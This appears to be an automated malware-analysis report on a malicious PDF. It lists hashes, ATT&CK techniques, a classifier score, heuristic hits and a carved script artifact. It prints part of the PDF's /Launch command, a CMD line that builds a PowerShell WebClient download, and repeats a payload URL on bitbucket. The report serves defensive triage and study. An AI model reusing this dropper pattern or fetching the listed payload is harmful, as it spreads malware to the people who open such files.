PDF malware analysis — malicious · b94d03bee1517cde

MALICIOUS

PDF

1.29 MB

MD5: ad6e206902536fd372ceed517f0a8b09 SHA-1: 66b5353ef769f3f5d7c4004c5e435e06e873a329 SHA-256: b94d03bee1517cdeb04b41e290597fa0c3e108a5e69b2607f27c4ccf177c3c9c

212 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File T1566.002 Spearphishing Attachment

The PDF document contains an OpenAction trigger that launches a command-line execution of PowerShell. The PowerShell command appears to be constructing a URL to download a second-stage payload. The embedded script and the ML classifier strongly indicate malicious intent. The specific command constructed is CMD /c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient.

Machine Learning

Nyx PDF Classifier malicious score 0.9958

Heuristics 6

OpenAction trigger high PDF_OPENACTION

PDF has an /OpenAction that launches, submits, or opens an external target

URL https://bitbucket.org/mounmeinlylo/rikirollin/downloads/black
Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.

URL https://bitbucket.org/mounmeinlylo/rikirollin/downloads/black
/Launch action target: CMD high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient'.

URL https://bitbucket.org/mounmeinlylo/rikirollin/downloads/black
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

URL https://bitbucket.org/mounmeinlylo/rikirollin/downloads/black
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSEOF. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.

URL https://bitbucket.org/mounmeinlylo/rikirollin/downloads/black

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_0014a0a1.bin` `9a59423e5594f113069cb1ae8016ea792da6223e81f7dc7bb4f77a0c57f0af41`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x14A0A1	67 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 shell/COM execution token(s).

Open this report in the interactive analyzer, or submit your own file for analysis.